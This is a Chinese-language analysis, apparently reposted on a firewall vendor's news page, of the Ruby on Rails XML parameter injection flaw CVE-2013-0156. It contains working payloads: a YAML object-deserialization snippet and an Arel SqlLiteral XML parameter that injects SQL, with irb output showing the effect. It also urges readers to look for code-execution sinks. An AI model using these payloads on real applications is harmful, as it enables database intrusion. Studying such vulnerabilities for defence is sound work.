English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

 

Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

威盾防火墙 2014-11-21

 
 注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 
 
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 
 
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. 
 
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 
 
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: 
 
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. 
 
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? 
 
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 
 
但是等等,还有另一个参数类型,yaml。 
 
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 
 
<test type="yaml">--- !ruby/object:A
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 
 
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 
 
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 
 
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式) 
 
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容: 
 
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 
 
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 
 

相关内容: 最新内容:
web安全防范之XSS漏洞攻击[2014-11-18]
如何发现和利用WEB应用程序中潜藏的安全漏洞[2014-11-18]
远程RFI漏洞对web服务器安全构成威胁[2014-11-18]
微软IIS6存漏洞 服务器敏感信息易被窃[2014-11-09]
微软IIS安全漏洞 导致大学服务器遭入侵[2014-11-09]
微软确认IIS 5.0/5.1/6.0中存在安全漏洞[2014-11-06]
anwsion最新版本任意上传[2014-11-21]
网站防CC攻击方案-威盾IIS防火墙[2014-11-20]
软件站下载控制方案-威盾IIS防火墙[2014-11-20]
娱乐站防盗链方案-威盾iis防火墙[2014-11-20]
商务网站防黑客方案-威盾IIS防火墙[2014-11-20]
威盾防火墙的优势[2014-11-20]